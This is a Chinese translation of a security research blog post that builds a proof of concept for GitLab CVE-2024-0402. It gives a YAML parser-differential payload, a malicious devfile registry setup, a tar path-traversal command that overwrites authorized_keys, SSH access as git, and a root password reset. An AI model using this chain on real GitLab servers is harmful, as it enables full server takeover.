【翻译】!exploitable Episode Three - Devfile Adventures
引言
我知道,我们已经多次提到,但如果你刚刚加入,Doyensec 团队正在地中海游轮上进行公司团建。为了在派对间隙打发时间,我们进行了一些黑客会议,分析现实世界中的漏洞,最终形成了 !exploitable 系列博客文章。
在第一部分中,我们探讨了 IoT ARM 漏洞利用的旅程,而第二部分则讲述了我们尝试利用《黑客帝国 2:重装上阵》中 Trinity 使用的漏洞的经历。
在本集中,我们将深入探讨 GitLab 中 CVE-2024-0402 的漏洞利用。就像洋葱一样,这个漏洞表面之下还有更多层次,从 YAML 解析器差异到解压缩函数中的路径遍历,最终实现在 GitLab 中的任意文件写入。
目前还没有公开的 PoC(概念验证),而制作它的过程堪称一次冒险,值得在原作者的博客文章基础上扩展,添加 PoC 相关信息来完成这个循环 😉
背景介绍
该漏洞影响了 GitLab 的 Workspaces 功能。简而言之,它允许开发者快速启动集成开发环境(IDE),所有依赖项、工具和配置都已准备就绪。
整个 Workspaces 功能依赖于多个组件,包括运行的 Kubernetes GitLab Agent 和 devfile 配置。
Kubernetes GitLab Agent: Kubernetes GitLab Agent 将 GitLab 连接到 Kubernetes 集群,允许用户启用部署过程自动化,并更轻松地集成 GitLab CI/CD管道。它还允许创建Workspaces。
Devfile: 这是一个开放标准,用于定义容器化开发环境。简单来说,它使用 YAML 文件来配置特定项目所需的工具、运行时和依赖项。
以下是一个 devfile 配置示例(需放置在 GitLab 仓库中,文件名为 .devfile.yaml
):
apiVersion:1.0.0metadata:name:my-appcomponents:-name:runtimecontainer:image:registry.access.redhat.com/ubi8/nodejs-14endpoints:-name:httptargetPort:3000
漏洞分析
让我们从公开信息开始,结合额外的代码上下文进行分析。
GitLab 使用了 devfile
Gem(当然是 Ruby 编写的),在特定仓库中创建 Workspace 时,通过调用外部的 devfile
二进制文件(用 Go 编写)来处理 .devfile.yaml
文件。
在 Workspaces 应用的 devfile 预处理过程中,GitLab 中的 PreFlattenDevfileValidator
调用了一个特定的验证器 validate_parent
。
# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50...defself.validate_parent(value) value => { devfile: Hash => devfile }return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent'] Result.ok(value)end...
那么,parent
选项到底是什么?根据 Devfile 文档 的描述:
如果指定了父 devfile,给定的 devfile 将从其父级继承所有行为。同时,你可以使用子 devfile 来覆盖父 devfile 中的某些内容。
文档接着描述了三种 parent
引用类型:
-
通过注册表引用的父级 - 远程 devfile 注册表 -
通过 URI 引用的父级 - 静态 HTTP 服务器 -
通过 Kubernetes 资源标识的父级 - 可用的命名空间
与任何其他远程获取功能一样,这值得仔细审查以发现潜在漏洞。但乍一看,这个选项似乎被 validate_parent
函数阻止了。
YAML 解析器差异的妙用
众所周知,即使是最常用的标准实现也可能与规范定义存在细微差异。在这个特定案例中,我们需要利用 Ruby 和 Go 之间的 YAML 解析器差异。
作者为我们提供了一个新的技巧,可以添加到我们的差异笔记中。根据 YAML 规范:
-
单感叹号
!
用于自定义或应用程序特定的数据类型my_custom_data:!MyType"some value"
-
双感叹号
!!
用于表示内置的 YAML 类型bool_value:!!bool"true"
他发现本地 YAML 标签符号 !
(RFC 参考)在 Ruby 的 yaml
库中仍然会激活 binary
格式的 base64 解码,而 Go 的 gopkg.in/yaml.v3
则会直接忽略它,导致以下行为:
➜ cat test3.yamlnormalk: just a value!binary parent: got injected### valid parent option added in the parsed version (!binary dropped)➜ go run g.go test3.yamlparent: got injectednormalk: just a value### invalid parent option as Base64 decoded value (!binary evaluated)➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'{"normalk"=>"just a value", "xA5xAAxDEx9E"=>"got injected"}
因此,我们能够通过 validate_parent
函数向 GitLab 传递一个包含 parent
选项的 devfile,并最终执行 devfile
二进制文件。
任意文件写入漏洞
此时,我们需要转向在 devfile
二进制文件(Go 实现)中发现的一个漏洞。在深入研究了依赖链中的多个层级后,研究人员发现了 decompress
函数。该函数从注册表库中获取 tar.gz 压缩包,并将其中的文件解压到 GitLab 服务器内部。随后,这些文件应该被移动到部署的 Workspace 环境中。
以下是 getResourcesFromRegistry
使用的存在漏洞的解压函数:
// decompress extracts the archive filefunc decompress(targetDir string, tarFile string, excludeFiles []string) error { var returnedErr error reader, err := os.Open(filepath.Clean(tarFile)) ... gzReader, err := gzip.NewReader(reader) ... tarReader := tar.NewReader(gzReader) for { header, err := tarReader.Next() ... target := path.Join(targetDir, filepath.Clean(header.Name)) switch header.Typeflag { ... case tar.TypeReg: /* #nosec G304 -- target is produced using path.Join which cleans the dir path */ w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))if err != nil { returnedErr = multierror.Append(returnedErr, err)return returnedErr } /* #nosec G110 -- starter projects are vetted before they are added to a registry. Their contents can be seen before they are downloaded */ _, err = io.Copy(w, tarReader)if err != nil { returnedErr = multierror.Append(returnedErr, err)return returnedErr } err = w.Close()if err != nil { returnedErr = multierror.Append(returnedErr, err)return returnedErr } default: log.Printf("Unsupported type: %v", header.Typeflag) } }returnnil}
该函数打开 tarFile
并使用 tarReader.Next()
遍历其内容。仅处理类型为 tar.TypeDir
和 tar.TypeReg
的内容,防止了符号链接(symlink)和其他嵌套利用。
然而,代码行 target := path.Join(targetDir, filepath.Clean(header.Name))
存在路径遍历(Path Traversal)漏洞,原因如下:
-
header.Name
来自 devfile registry 提供的远程 tar 压缩包 -
filepath.Clean
已知无法阻止相对路径中的路径遍历(../
不会被移除)
最终的执行结果将类似于:
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // absolute pathfmt.Println(filepath.Clean("../../../../../../../tmp/test")) // relative path//prints/tmp/test../../../../../../../tmp/test
有许多脚本可以创建利用此类目录遍历模式的有效 PoC(Proof of Concept)恶意压缩包(例如 evilarc.py)。
漏洞链分析
-
devfile
库在从远程 registry 获取文件时的解压缩漏洞,允许包含恶意.tar
压缩包的 devfile registry 在 devfile 客户端系统中写入任意文件 -
在 GitLab 中,开发者可以构造一个 看似合法实则恶意 的 .devfile.yaml
配置文件,其中包含parent
选项,这将强制 GitLab 服务器使用恶意 registry,从而在服务器上触发任意文件写入
利用该漏洞的要求:
-
以 开发者 身份访问目标 GitLab,并具有向仓库提交代码的权限 -
GitLab 实例中正确配置了 Workspace 功能(v16.8.0 及以下版本)
漏洞利用过程
环境配置
为了确保您全面了解情况,我必须告诉您在游轮上使用慢速网络配置 GitLab Workspaces 的感受 🌊 - 简直是噩梦!
当然,官方文档中有相关配置说明,但今天您将获得一些额外提示:
-
请遵循 GitLab 16.8 文档 页面,而不是最新版本,因为配置已更改。不要像我们一样,在海上浪费宝贵时间。
-
该功能变化很大,他们甚至移除了 GitLab 16.8 所需的容器镜像。因此,您需要修补缺失的
web-ide-injector
容器镜像。[email protected]:~$ find / -name "editor_component_injector.rb" 2>/dev/null/opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb
将
web-ide-injector
镜像第 129 行的值替换为:registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest
-
GitLab Agent 必须配置
remote_development
选项以启用 Workspaces 功能 以下是一个有效的config.yaml
配置文件示例remote_development:enabled:truedns_zone:"workspaces.gitlab.yourdomain.com"observability:logging:level:debuggrpc_level:warn
愿原力与你同在,助你顺利完成配置。
漏洞利用构建
如前所述,这个漏洞链就像洋葱一样层层叠加。这里有一张经典的 2025 年 AI 生成的图片为我们描绘了这个场景:
根据公开信息,如果我们想要利用这个漏洞,需要完成以下任务:
-
部署一个自定义的 devfile registry,按照原始仓库的指引,这其实很简单 -
将其恶意化,通过包含我们精心构造的路径遍历(path traversal)的 .tar 文件,以覆盖 GitLab 实例中的某些内容 -
在目标 GitLab 仓库中添加一个指向该恶意 registry 的 .devfile.yaml
文件
为了确定 malicious.tar 文件应该放置的位置,我们不得不退一步阅读更多代码。特别是,我们需要理解易受攻击的 decompress
函数被调用的上下文环境。
最终,我们研究了 PullStackByMediaTypesFromRegistry
函数,该函数用于从指定的 registry URL 拉取允许的媒体类型(media types)的 stack 到目标目录。
详见library.go:293
func PullStackByMediaTypesFromRegistry(registry string, stack string, allowedMediaTypes []string, destDir string, options RegistryOptions) error {//... //Logic to Pull a stack from registry and save it to disk //... // Decompress archive.tar archivePath := filepath.Join(destDir, "archive.tar") if _, err := os.Stat(archivePath); err == nil { err := decompress(destDir, archivePath, ExcludedFiles) if err != nil { return err } err = os.RemoveAll(archivePath) if err != nil { return err } } return nil}
代码模式表明 devfile registry stacks 涉及其中,并且它们的结构中包含一个 archive.tar 文件。
为什么 devfile stack 需要包含一个 tar 文件?
archive.tar 文件可能被包含在软件包中,用于分发启动项目或预配置的应用程序模板。它帮助开发者快速设置工作区,包含示例代码、配置和依赖项。
通过对 devfile registry 构建过程的快速 GitHub 搜索,我们发现目标_.tar_文件应该放置在 registry 项目中的stacks/<STACK_NAME>/<STACK_VERSION>/archive.tar
路径下,与正在部署的特定版本的devfile.yaml
文件位于同一目录中。
因此,在我们的自定义 registry 中,用于路径遍历的 tar 文件的目标位置是:
malicious-registry/stacks/nodejs/2.2.1/archive.tar
构建并运行恶意的 devfile registry
构建我们自定义的 registry 需要一些额外的工作(无法使构建脚本正常工作,不得不进行编辑),但我们最终成功将archive.tar
(例如使用 evilarc.py 创建)放置在正确的位置,并制作了合适的 index.json
来提供服务。最终可重用的结构可以在我们的 PoC 仓库中找到,这样可以节省构建 devfile registry 镜像的时间。
运行恶意 registry 的命令:
-
docker run -d -p 5000:5000 --name local-registrypoc registry:2
用于启动一个本地容器 registry,它将被 devfile registry 用来存储实际的 stack(参见 黄色 高亮部分) -
docker run --network host devfile-index
用于运行使用官方仓库构建的恶意 devfile registry。可以在我们的 PoC 仓库中找到它
触发漏洞 💥
一旦你有一个目标 GitLab 实例可以访问的运行中的 registry,你只需要以开发者身份在 GitLab 中进行身份验证,并利用之前展示的 YAML 解析器差异 来编辑仓库的 .devfile.yaml
文件,使其指向该 registry。以下是一个你可以使用的示例:
schemaVersion:2.2.0!binaryparent:id:nodejsregistryUrl:http://<YOUR_MALICIOUS_REGISTRY>:<PORT>components:-name:development-environmentattributes:gl/inject-editor:truecontainer:image:"registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
要触发文件写入,只需在编辑后的仓库中启动一个新的 Workspace 并等待。
成功!我们已经在 /tmp/plsWorkItsPartyTime.txt
文件中写入了 Hello CVE-2024-0402!
。
接下来该怎么做
我们实现了文件写入,但这还不够,因此我们研究了一些可靠的提权方法。首先,我们通过 GitLab 服务器上的会话检查了执行文件写入的系统用户。
/tmp$ ls -lah /tmp/plsWorkItsPartyTime.txt-rw-rw-r-- 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt
显然,我们的目标用户是 git
,这是 GitLab 内部一个非常重要的用户。在检查可写文件以寻找快速突破点时,我们发现系统似乎已经进行了加固,没有大量可编辑的配置文件,这在意料之中。
.../var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml/var/opt/gitlab/.gitconfig/var/opt/gitlab/.ssh/authorized_keys/opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql/opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql/var/opt/gitlab/git-data/repositories/.gitaly-metadata...
一些有趣的文件正等待被覆盖,但你可能已经注意到最快但不太光彩的入口:/var/opt/gitlab/.ssh/authorized_keys
。
值得注意的是,你可以将 SSH 密钥添加到你的 GitLab 账户,然后使用它以git
用户身份 SSH 登录并执行代码相关操作。authorized_keys
文件由 GitLab Shell 管理,它会从用户配置文件中添加 SSH 密钥,并将用户强制限制在一个受限的 shell 中,以进一步管理/限制用户访问级别。
以下是在 GitLab 中添加个人 SSH 密钥时,authorized_keys 文件中添加的示例行:
command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3...[REDACTED]
由于我们已经获得了任意文件写入权限,我们可以直接将 authorized_keys
文件替换为包含一个不受限制的密钥的文件。回到我们的漏洞利用准备工作,为此创建一个新的 .tar 文件:
## write a valid entry in a local authorized_keys for one of your keys➜ python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix
此时,将恶意 devfile registry 中的 archive.tar
文件替换掉,重新构建镜像并运行。准备就绪后,通过在 GitLab Web UI 中创建一个新的 Workspace 来再次触发漏洞利用。
几秒钟后,您应该能够以不受限制的 git
用户身份进行 SSH 登录。下面我们还展示了如何更改 GitLab Web root
用户的密码:
➜ ssh -i ~/.ssh/gitlab2 [email protected]➜ [email protected]:~$ gitlab-rails console --environment production-------------------------------------------------------------------------------- Ruby: ruby 3.1.4p223 (2023-03-30 revision 957bb7cb81) [x86_64-linux] GitLab: 16.8.0-ee (1e912d57d5a) EE GitLab Shell: 14.32.0 PostgreSQL: 14.9------------------------------------------------------------[ booted in 39.28s ]Loading production environment (Rails 7.0.8)irb(main):002:0> user = User.find_by_username 'root'=> #<User id:1 @root>irb(main):003:0> new_password = 'ItIsPartyTime!'=> "ItIsPartyTime!"irb(main):004:0> user.password = new_password=> "ItIsPartyTime!"irb(main):005:0> user.password_confirmation = new_password=> "ItIsPartyTime!"irb(main):006:0> user.password_automatically_set = falseirb(main):007:0> user.save!=> true
最后,您已准备好以 root
用户身份在目标 Web 实例中进行身份验证。
结论
我们的目标是构建 CVE-2024-0402 的 PoC。尽管时间和网络连接受限,我们仍然成功完成了任务。然而,在准备 GitLab Workspaces 环境时遇到了大量配置错误,由于该功能在数小时的设置后仍无法正常工作,我们几乎要放弃了。这再次证明,由于配置时间限制,很少有人涉足的地方往往能发现非常优秀的漏洞。
特别感谢 joernchen 发现了这个漏洞链。这个漏洞不仅非常出色,而且他在这篇文章中详细描述了他的研究路径,工作做得非常出色。我们在漏洞利用过程中获得了乐趣,并希望我们的公开漏洞利用代码能够为他人节省时间!
资源
-
https://gitlab.com/gitlab-org/gitlab/-/issues/437819 -
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/ -
https://devfile.io/docs/2.1.0/building-a-custom-devfile-registry
原文始发于微信公众号(securitainment):!exploitable 第三集 - Devfile 冒险
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论